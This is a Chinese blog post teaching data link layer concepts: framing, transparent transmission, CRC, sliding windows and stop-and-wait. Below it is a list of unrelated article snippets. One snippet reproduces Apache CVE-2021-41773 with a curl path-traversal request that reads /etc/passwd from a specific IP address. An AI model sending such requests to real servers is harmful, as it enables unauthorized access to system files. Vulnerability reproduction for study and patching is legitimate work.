【计算机网络篇】数据链路层 功能|组帧|流量控制与可靠传输机制

🧸安清h:个人主页
🎥个人专栏:【计算机网络】
🚦作者简介:一个有趣爱睡觉的intp,期待和更多人分享自己所学知识的真诚大学生。

系列文章目录
【计算机网络篇】计算机网络概述
【计算机网络篇】电路交换,报文交换,分组交换
【计算机网络篇】物理层 (CSDN热榜文章)
文章目录
🎥前言
🎯一.数据链路层的功能
🎯二.组帧
🚦2.1封装成帧
🚦2.2透明传输
✨2.2.1 解决透明传输问题
✨2.2.2零比特填充
🚦2.3差错检测
🎯三.流量控制与可靠传输机制
🚦3.1流量控制,可靠传输,滑动窗口机制
✨基本概念
🚦 3.2停止-等待协议
✨3.2.1无差错情况和超时重传
✨3.2.2确认丢失和确认迟到
✨3.2.3信道利用率
总结
🎥前言
数据链路层是OSI模型的第二层,主要负责在相邻网络节点间提供可靠的数据传输。它通过帧同步、差错控制和流量控制来确保数据的完整性和准确性。这一层使用MAC地址识别设备,并在物理层传输的比特流上添加控制信息,形成数据帧。常见的数据链路层协议包括以太网和PPP,它们定义了数据封装和传输的具体方法。在本书中重要程度仅次于网络层,是非常重要的学习章节。下面我将逐步为大家介绍其重点。
🎯一.数据链路层的功能
- 链路是一条无源的点到点的物理线路段,中间没有任何其他的交换结点。
- 数据链路层传送的是帧。
链路层就是把上层的网络层给它的这个数据包,装入到帧这个结构的数据部分,中间链路上的比特经过曼彻斯特或差分曼彻斯特等编码方式传输到对端。数据从结点A被传输到结点B后,B把数据取出。
注意:链路中间没有任何东西,顶多放中继器用来放大信号。
🎯二.组帧
🚦2.1封装成帧
封装成帧就是在一段数据的前后分别添加首部和尾部,然后就构成了一个帧。一个帧的帧长等于帧的数据部分长度加上帧首部和帧尾部的长度。首部和尾部作用的帧定界(即确定帧的界限)。
数据部分长度上限--最大传送单元MTU
🚦2.2透明传输
由于帧的开始和结束的标记是使用专门指明的控制字符,因此,所传输的数据中的任何8比特的组合一定不允许和用作帧定界的控制字符的比特编码一样,否则就会出现帧定界的错误。
当数据部分是非ASCII码的文本文件时(如二进制代码的计算机程序或图像等),情况就不同了。如果数据中的某个字节的二进制代码恰好和SOH或EOT这种控制字符一样(见图3-6),数据链路层就会错误地“找到帧的边界”,把部分帧收下(误认为是个完整的帧),而把剩下的那部分数据丢弃(这部分找不到帧定界控制字符SOH)
✨2.2.1 解决透明传输问题
发送端的数据链路层在数据中出现控制字符‘SOH’或‘EOT’的前面插入一个转义字符‘ESC’。
字节填充或字符填充--接收端的数据链路层在将数据送往网络层之前删除插入的转义字符。
如果转义字符也出现在数据当中,那么应在转义字符前再加入一个转义字符。当接收端收到两个转义字符时,就删除其中前面的一个。
该图表示用字节填充法解决透明传输问题。
✨2.2.2零比特填充
在发送端,只要发现有五个连续的1,则立即填入一个0。接收端对帧中的比特流进行扫描。每当发现5个连续1时,就把这5个连续1后的一个0删除。
🚦2.3差错检测
- 在数据链路传送帧中,往往广泛的使用循环冗余检验CRC的检错技术。
- 为了进行检错而添加的冗余码常称为帧检验序列FCS。
- 循环冗余检验CRC和帧检验序列FCS并不等同。
- CRC是一种常用的检错方法,而FCS是添加在数据后的冗余码。
- FCS可以用CRC这种方法得出,但CRC并非用来获得FCS的唯一方法。
- 接收端对收到的每一帧进行CRC检验,若得出的余数R=0,则判定这个帧没有差错,就接受;若余数R≠0,则判定这个帧有差错,就丢弃。
在发送端,先把数据划分为组,假定每组 k个比特。现假定待传送的数据M=101001(k=6)。CRC运算就是在数据M的后面添加供差错检测用的n位冗余码,然后构成一个帧发送出去,一共发送(k + n)位。在所要发送的数据后面增加n位的冗余码,虽然增大了数据传输的开销,但却可以进行差错检测。
这n 位冗余码可用以下方法得出。用二进制的模 2 运算[插图]进行2n乘 M 的运算,这相当于在M后面添加n个0。得到的(k + n)位的数除以收发双方事先商定的长度为(n + 1)位的除数P,得出商是Q而余数是R(n 位,比P少一位)。
🎯三.流量控制与可靠传输机制
🚦3.1流量控制,可靠传输,滑动窗口机制
✨基本概念
- 流量控制是确保发送方不会因为发送数据过快而导致接收方处理不过来的情况。TCP通过滑动窗口机制来实现流量控制,接收方根据自己的缓冲区容量来调整通告给发送方的窗口大小,从而控制发送方的数据发送速率。我们假设A是发送方,B是接收方,流量控制是控制发送方的发送速度和接收方的接受速度保持一致,即控制的是发送方。
- 滑动窗口机制是TCP协议中用于流量控制和可靠传输的一个重要技术。它允许发送方在没有收到确认应答的情况下,继续发送一定数量的数据,这个数量由窗口大小决定。这样可以有效提高数据传输的效率,因为它减少了发送方因为等待确认而产生的空闲时间。
- 滑动窗口机制还包括快速重传和超时重传机制。快速重传是指发送方在连续收到三个重复确认(即接收方请求重传丢失的数据包)时,立即重传丢失的数据包,而不是等待超时计时器到期。这样可以快速响应丢包情况,提高传输效率。
🚦 3.2停止-等待协议
✨3.2.1无差错情况和超时重传
“停止等待”就是每发送完一个分组就停止发送,等待对方的确认。有两种情况会出现,分别是无差错情况和有差错情况。
- 在无差错情况中,A发送分组M1,发送完就暂停发送,等待B的确认。B收到了M1就向A发送确认。往后依此类推。
- 在有差错情况中,A向B发送时,出现了帧丢失的情况或B收到帧后检查发现有错误,此时,A就引入了超时重传机制。A由于没有收到B发送来的确认,因而重传前面发送过的分组。
✨3.2.2确认丢失和确认迟到
- 确认丢失 (a)A在设定的超时重传时间里没有收到B发送的确认信息,A无法判断数据处于丢失,出错或B发送的确认丢失某种状态,所以A继续向B传输原来未发送过去的数据M1,直到收到了确认信息,继续传输数据。
- 确认迟到 (b)在传输过程中没有出现任何差错,但B对分组M1的确认迟到了,A就会再向B发送数据M1,B在收到了重复的数据后删掉了其中一个,然后向A发送了确认信息。
✨3.2.3信道利用率
停止等待协议的优点是简单,但缺点是信道利用率太低
- Td:分组帧的发送时间
- RTT:端到端的传播时延
- Ta:确认时间
- 在整个传输周期的利用率就是Td
在此过程中,信道利用率最大为100%,重要公式:k×Td/Td+RTT+Ta=1
发送方可连续发送多个分组,不必每发完一个分组就停下来等待对方的确认。
总结
以上就是今天要讲的内容了,主要在组帧,流量控制与可靠传输机制方面做了重点的讲解,里面划分了很多值得重视的小点,在书中也是作为重要内容。由于篇幅有限的原因,剩下的部分只能放到下一篇来讲解啦😊!如果大家感兴趣的话,也可以看看我的专栏《计算机网络》之前的文章,相信会对您有所帮助的。
非常感谢您的阅读,如果这篇文章对您有帮助,那将是我的荣幸。我们下期再见啦🧸!
相关文章:
【计算机网络篇】数据链路层 功能|组帧|流量控制与可靠传输机制
🧸安清h:个人主页 🎥个人专栏:【计算机网络】 🚦作者简介:一个有趣爱睡觉的intp,期待和更多人分享自己所学知识的真诚大学生。 系列文章目录 【计算机网络篇】计算机网络概述 【计算机网络篇…...
Apache CVE-2021-41773漏洞复现
1、环境搭建 docker pull blueteamsteve/cve-2021-41773:no-cgid docker run -d -p 8080:80 97308de4753d 2、使⽤poc curl http://47.121.212.195:8080/cgi-bin/.%2e/.%2e/.%2e/.%2e/etc/passwd 3、工具验证...
带线无人机现身俄罗斯抗干扰技术详解
带线无人机在俄罗斯的出现,特别是其光纤制导技术的应用,标志着无人机抗干扰技术的一大进步。以下是对俄罗斯带线无人机抗干扰技术的详细解析: 一、带线无人机抗干扰技术背景 技术突破:俄军成功研发了光纤制导无人机,…...
ArcGIS10.2/10.6安装包下载与安装(附详细安装步骤)
相信从事地理专业的小伙伴来说,应该对今天的标题不会陌生。Arcgis是一款很常用的地理信息系统软件,主要用于地理数据的采集、管理、分析和展示。目前比较常见的版本有ArcGIS 10.2和ArcGIS 10.6。 不可否认,Arcgis具有强大的地图制作、空间分…...
生信服务器 | 组蛋白甲基化修饰、DNA亲和纯化测序、优青博导团队指导设计、解读实验结果。
查看原文>>>生信服务器 | 组蛋白甲基化修饰、DNA亲和纯化测序、优青博导团队免费指导设计、解读实验结果、一台服务器解决您所有的分析困扰!...
【machine learning-14-特征缩放-归一化】
特征缩放是提升线性回归收敛速度的技巧,什么是特征缩放? 又是什么场景下需要特征缩放,有哪些特征缩放的方法呢? 特征值差异 我们还是以之前房间预测为例: 这里面是特征房屋大小 房间数目 与房价的关系 本文为简化…...
二叉树堆的建立与排序
在数据结构中,二叉树是非常好用的一种数据结构,这节暂时按下不表。这节课主要介绍堆的建立与使用。 堆,是二叉树中一种很特殊的结构,首先,他必须是满二叉树,也就是除了最后一层以外,其他层都是…...
【软件测试】Bug 篇
哈喽,哈喽,大家好~ 我是你们的老朋友:保护小周ღ 今天给大家带来的是 【软件测试】Bug 篇,首先了解, 什么是Bug, 如何定义一个Bug, 如何描述一个 Bug, Bug的级别, 和 Bug 的生命周期, 以及测试人员跟开发人员产生争执如何处理,…...
oracle 多表查询
3.6多表查询 当查询的数据并不是来源一个表时,需要使用多表连接操作完成查询。多表连接查询通过表之间的关联字段,一次查询出多个表的数据。 3.6.1等值连接 等值连接也称为简单连接(Simple Joins)或者内连接(Inner Join)。通过等号来判断连接条件中的数据…...
layui 可以使点击图片放大
layui可以使图片点击放大,不用在写jquyery了真是很方便。 操作示例 引入 <link rel"stylesheet" href"https://cdn.jsdelivr.net/npm/layui-layer3.1.1/dist/layui.css" /> <script src"https://cdn.bootcdn.net/ajax/libs/jqu…...
制作网上3D展馆需要什么技术并投入多少费用?
制作网上3D展览馆项目,需要考虑以下技术和预算方面的信息: 技术需求: 1、三维建模技术:利用3D软件(3ds max、maya、blender、c4d等)制作展馆和展品的3D模型 2、Web3D技术:如WebGL,…...
C++标准库容器类——string类
引言 在c中,string类的引用极大地简化了字符串的操作和管理,相比 C 风格字符串(char*或cahr[]),std::string 提供了更高效和更安全的字符串操作。接下来让我们一起来深入学习string类吧! 1.string 的构造…...
Qt --- 常用控件的介绍 --- 其他控件
一、QPushButton QWidget中设计到的各种属性/函数/使用方法,针对接下来要介绍的Qt的各种控件都是有效的。 使用QPushButton表示一个按钮,这也是当前我们最熟悉的一个控件了。这个类继承了QAbstractButton,这个类是一个抽象类,是…...
spark读取数据性能提升
1. 背景 spark默认的jdbc只会用单task读取数据,读取大数据量时,效率低。 2. 解决方案 根据分区字段,如日期进行划分,增加task数量提升效率。 /*** 返回每个task按时间段划分的过滤语句* param startDate* param endDate* param …...
一次使用threading.Thread来实现Pytorch多个模型并发运行的失败案例
文章目录 背景我的做法(但证明不起效果) 背景 我有多个pytorch GPU模型,他们有不同的参数(也就是说不是共享的),但是相同的数据输入,想要并发运行。 不并发运行,当然就是循环喽。 …...
HashMap源码
简介 HashMap 是一种基于哈希表的 Map 接口实现,它存储键值对(key-value pairs),并允许使用键来快速检索值。在 Java 中,HashMap 是 java.util 包的一部分,它不是同步的,这意味着它不是线程安全…...
探索 Web Speech API:实现浏览器语音识别与合成
引言 Web Speech API 是一项由 W3C 开发的 Web 标准,为开发者提供了在 Web 应用程序中实现语音识别和语音合成的能力。通过 Web Speech API,我们可以让网页与用户进行语音交互,实现更加智能化和便捷的用户体验。本文将深入探讨 Web Speech A…...
python基础题练习
1.可否定义一个sum函数呢?返回指定区间的值的和?例如,区间[1,4]的和为123410返回指定区间值的平方的和呢?立方呢? 代码: # 计算从start到end(包括end)的所有整数的和。 def sum_ra…...
工业交换机如何保证数据的访问安全
在现代工业自动化环境中,工业交换机作为关键的网络设备,扮演着数据传输和信息交互的重要角色。为了确保数据的访问安全,工业交换机不仅具备高效的转发性能,还集成了多层次的安全防护机制,以抵御各种潜在的网络威胁。 首…...
jmeter得到的文档数据处理
通过前面jmeter得到的输出文档,这里是txt文档,里面包含了很多条数据,每条数据的结构如下: 【request】 uuid:xxxxxxx timestamp:xxxxxxxx No.x question:xxxxxxx 【response】 code&#…...
[2025CVPR]DeepVideo-R1:基于难度感知回归GRPO的视频强化微调框架详解
突破视频大语言模型推理瓶颈,在多个视频基准上实现SOTA性能 一、核心问题与创新亮点 1.1 GRPO在视频任务中的两大挑战 安全措施依赖问题 GRPO使用min和clip函数限制策略更新幅度,导致: 梯度抑制:当新旧策略差异过大时梯度消失收敛困难:策略无法充分优化# 传统GRPO的梯…...
docker详细操作--未完待续
docker介绍 docker官网: Docker:加速容器应用程序开发 harbor官网:Harbor - Harbor 中文 使用docker加速器: Docker镜像极速下载服务 - 毫秒镜像 是什么 Docker 是一种开源的容器化平台,用于将应用程序及其依赖项(如库、运行时环…...
ubuntu搭建nfs服务centos挂载访问
在Ubuntu上设置NFS服务器 在Ubuntu上,你可以使用apt包管理器来安装NFS服务器。打开终端并运行: sudo apt update sudo apt install nfs-kernel-server创建共享目录 创建一个目录用于共享,例如/shared: sudo mkdir /shared sud…...
智能在线客服平台:数字化时代企业连接用户的 AI 中枢
随着互联网技术的飞速发展,消费者期望能够随时随地与企业进行交流。在线客服平台作为连接企业与客户的重要桥梁,不仅优化了客户体验,还提升了企业的服务效率和市场竞争力。本文将探讨在线客服平台的重要性、技术进展、实际应用,并…...
macOS多出来了:Google云端硬盘、YouTube、表格、幻灯片、Gmail、Google文档等应用
文章目录 问题现象问题原因解决办法 问题现象 macOS启动台(Launchpad)多出来了:Google云端硬盘、YouTube、表格、幻灯片、Gmail、Google文档等应用。 问题原因 很明显,都是Google家的办公全家桶。这些应用并不是通过独立安装的…...
Linux云原生安全:零信任架构与机密计算
Linux云原生安全:零信任架构与机密计算 构建坚不可摧的云原生防御体系 引言:云原生安全的范式革命 随着云原生技术的普及,安全边界正在从传统的网络边界向工作负载内部转移。Gartner预测,到2025年,零信任架构将成为超…...
【HarmonyOS 5 开发速记】如何获取用户信息(头像/昵称/手机号)
1.获取 authorizationCode: 2.利用 authorizationCode 获取 accessToken:文档中心 3.获取手机:文档中心 4.获取昵称头像:文档中心 首先创建 request 若要获取手机号,scope必填 phone,permissions 必填 …...
Java + Spring Boot + Mybatis 实现批量插入
在 Java 中使用 Spring Boot 和 MyBatis 实现批量插入可以通过以下步骤完成。这里提供两种常用方法:使用 MyBatis 的 <foreach> 标签和批处理模式(ExecutorType.BATCH)。 方法一:使用 XML 的 <foreach> 标签ÿ…...
Java编程之桥接模式
定义 桥接模式(Bridge Pattern)属于结构型设计模式,它的核心意图是将抽象部分与实现部分分离,使它们可以独立地变化。这种模式通过组合关系来替代继承关系,从而降低了抽象和实现这两个可变维度之间的耦合度。 用例子…...
人机融合智能 | “人智交互”跨学科新领域
本文系统地提出基于“以人为中心AI(HCAI)”理念的人-人工智能交互(人智交互)这一跨学科新领域及框架,定义人智交互领域的理念、基本理论和关键问题、方法、开发流程和参与团队等,阐述提出人智交互新领域的意义。然后,提出人智交互研究的三种新范式取向以及它们的意义。最后,总结…...









